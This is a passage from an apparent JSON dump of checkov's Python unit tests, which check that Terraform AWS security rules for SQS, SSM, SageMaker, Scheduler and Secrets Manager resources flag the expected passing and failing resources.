    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SQSPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSQSPolicy(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQSPolicy\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sqs_queue_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_sqs_queue_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SQSQueueEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SQSQueueEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSQSQueueEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SQSQueueEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sqs_queue.pass\",\n            \"aws_sqs_queue.pass2\",\n            \"aws_sqs_queue.pass3\",\n        }\n        failing_resources = {\n            \"aws_sqs_queue.fail\",\n            \"aws_sqs_queue.fail2\",\n            \"aws_sqs_queue.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SQSQueuePolicyAnyPrincipal.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SQSQueuePolicyAnyPrincipal import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBackupVaultEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQSQueuePolicyAnyPrincipal\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sqs_queue_policy.q1\",\n            \"aws_sqs_queue_policy.q6\",\n            \"aws_sqs_queue.aq1\",\n            \"aws_sqs_queue.aq6\"\n        }\n        failing_resources = {\n            \"aws_sqs_queue_policy.q2\",\n            \"aws_sqs_queue_policy.q3\",\n            \"aws_sqs_queue_policy.q4\",\n            \"aws_sqs_queue_policy.q5\",\n            \"aws_sqs_queue.aq2\",\n            \"aws_sqs_queue.aq3\",\n            \"aws_sqs_queue.aq4\",\n            \"aws_sqs_queue.aq5\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 8)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SSMDocumentsArePrivate.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SSMDocumentsArePrivate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSSMDocumentsArePrivate(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SSMDocumentsArePrivate\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ssm_document.pass\",\n            \"aws_ssm_document.pass2\"\n        }\n\n        failing_resources = {\n            \"aws_ssm_document.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SSMParameterUsesCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SSMParameterUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSSMParameterUsesCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SSMParameterUsesCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ssm_parameter.pass\",\n            \"aws_ssm_parameter.pass2\",\n        }\n\n        failing_resources = {\n            \"aws_ssm_parameter.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SSMSessionManagerDocumentEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SSMSessionManagerDocumentEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSSMSessionManagerDocumentEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SSMSessionManagerDocumentEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\"aws_ssm_document.enabled\", \"aws_ssm_document.enabled_yaml\"}\n        failing_resources = {\"aws_ssm_document.disabled\", \"aws_ssm_document.disabled_yaml\"}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SSMSessionManagerDocumentLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SSMSessionManagerDocumentLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSSMSessionManagerDocumentLogging(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SSMSessionManagerDocumentLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ssm_document.s3_enabled_encrypted\",\n            \"aws_ssm_document.s3_enabled_encrypted_yaml\",\n            \"aws_ssm_document.cw_enabled_encrypted\",\n            \"aws_ssm_document.cw_enabled_encrypted_yaml\",\n        }\n        failing_resources = {\n            \"aws_ssm_document.disabled\",\n            \"aws_ssm_document.disabled_yaml\",\n            \"aws_ssm_document.s3_enabled_not_encrypted\",\n            \"aws_ssm_document.s3_enabled_not_encrypted_yaml\",\n            \"aws_ssm_document.cw_enabled_not_encrypted\",\n            \"aws_ssm_document.cw_enabled_not_encrypted_yaml\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SageMakerInternetAccessDisabled.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.SageMakerInternetAccessDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSageMakerInternetAccessDisabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_sagemaker_notebook_instance\" \"test\" {\n                  name          = \"my-notebook-instance\"\n                  role_arn      = aws_iam_role.role.arn\n                  instance_type = \"ml.t2.medium\"\n                  direct_internet_access = \"Enabled\"\n                                    \n                  tags = {\n                    Name = \"foo\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_sagemaker_notebook_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_sagemaker_notebook_instance\" \"test\" {\n                  name          = \"my-notebook-instance\"\n                  role_arn      = aws_iam_role.role.arn\n                  instance_type = \"ml.t2.medium\"\n                  direct_internet_access = \"Disabled\"\n                                  \n                  tags = {\n                    Name = \"foo\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_sagemaker_notebook_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_sagemaker_notebook_instance\" \"test\" {\n                  name          = \"my-notebook-instance\"\n                  role_arn      = aws_iam_role.role.arn\n                  instance_type = \"ml.t2.medium\"\n                                  \n                  tags = {\n                    Name = \"foo\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_sagemaker_notebook_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerDataQualityJobDefinitionEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerDataQualityJobDefinitionEncryption import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSagemakerDataQualityJobDefinitionEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDataQualityJobDefinitionEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerDataQualityJobDefinitionTrafficEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerDataQualityJobDefinitionTrafficEncryption import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSagemakerDataQualityJobDefinitionTrafficEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDataQualityJobDefinitionTrafficEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_fail_1\",\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_fail_2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerDataQualityJobDefinitionVolumeEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerDataQualityJobDefinitionVolumeEncryption import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSagemakerDataQualityJobDefinitionVolumeEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDataQualityJobDefinitionVolumeEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_fail_1\",\n            \"aws_sagemaker_data_quality_job_definition.data_quality_job_fail_2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerDomainEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerDomainEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSagemakerDomainEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerDomainEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_domain.pass\",\n            \"aws_sagemaker_notebook_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_domain.fail\",\n            \"aws_sagemaker_notebook_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerEndpoinConfigurationEncryption.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.SagemakerEndpointConfigurationEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSagemakerEndpointConfigurationEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_sagemaker_endpoint_configuration\" \"test\" {\n                    name = \"my-endpoint-config\"\n\n                    production_variants {\n                      variant_name           = \"variant-1\"\n                      model_name             = aws_sagemaker_model.m.name\n                      initial_instance_count = 1\n                      instance_type          = \"ml.t2.medium\"\n                    }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_sagemaker_endpoint_configuration']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_sagemaker_endpoint_configuration\" \"test\" {\n                    name = \"my-endpoint-config\"\n                    kms_key_arn = aws_kms_key.test.arn\n                    \n                    production_variants {\n                      variant_name           = \"variant-1\"\n                      model_name             = aws_sagemaker_model.m.name\n                      initial_instance_count = 1\n                      instance_type          = \"ml.t2.medium\"\n                    }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_sagemaker_endpoint_configuration']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerFlowDefinitionUsesKMS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerFlowDefinitionUsesKMS import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSagemakerFlowDefinitionUsesKMS(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerFlowDefinitionUsesKMS\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_flow_definition.flow_pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_flow_definition.flow_fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerModelWithNetworkIsolation.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerModelWithNetworkIsolation import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSagemakerModelWithNetworkIsolation(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerModelWithNetworkIsolation\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_model.model_pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_model.model_fail_1\",\n            \"aws_sagemaker_model.model_fail_2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerNotebookEncryption.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.SagemakerNotebookEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSagemakerNotebookEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['my-notebook-instance'], 'role_arn': ['${aws_iam_role.role.arn}'],\n                         'instance_type': ['ml.t2.medium']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['my-notebook-instance'], 'role_arn': ['${aws_iam_role.role.arn}'],\n                         'instance_type': ['ml.t2.medium'], 'kms_key_id': ['foo']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerNotebookInCustomVPC.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerNotebookInCustomVPC import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSagemakerNotebookInCustomVPC(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerNotebookInCustomVPC\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_notebook_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_notebook_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerNotebookInstanceAllowsIMDSv2.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerNotebookInstanceAllowsIMDSv2 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSagemakerNotebookInstanceAllowsIMDSv2(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerNotebookInstanceAllowsIMDSv2\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_notebook_instance.my_notebook_instance_pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_notebook_instance.my_notebook_instance_fail_1\",\n            \"aws_sagemaker_notebook_instance.my_notebook_instance_fail_2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SagemakerNotebookRoot.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SagemakerNotebookRoot import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSagemakerNotebookRoot(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SagemakerNotebookRoot\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sagemaker_notebook_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_sagemaker_notebook_instance.fail\",\n            \"aws_sagemaker_notebook_instance.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SchedulerScheduleUsesCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SchedulerScheduleUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSchedulerScheduleUsesCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SchedulerScheduleUsesCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_scheduler_schedule.pass\",\n            \"aws_scheduler_schedule.pass2\",\n        }\n        failing_resources = {\n            \"aws_scheduler_schedule.fail\",\n            \"aws_scheduler_schedule.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecretManagerSecret90days.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecretManagerSecret90days import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecretManagerSecret90days(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecretManagerSecret90days\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_secretsmanager_secret_rotation.pass\",\n            \"aws_secretsmanager_secret_rotation.pass_scheduled_hours\",\n            \"aws_secretsmanager_secret_rotation.pass_scheduled_days\",\n            \"aws_secretsmanager_secret_rotation.pass_scheduled_cron\",\n        }\n        failing_resources = {\n            \"aws_secretsmanager_secret_rotation.fail\",\n            \"aws_secretsmanager_secret_rotation.fail_2\",\n            \"aws_secretsmanager_secret_rotation.fail_scheduled_days\",\n            #\"aws_secretsmanager_secret_rotation.fail_scheduled_cron\", # Will handle later\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        # self.assertEqual(summary[\"passed\"], len(passing_resources))\n        # 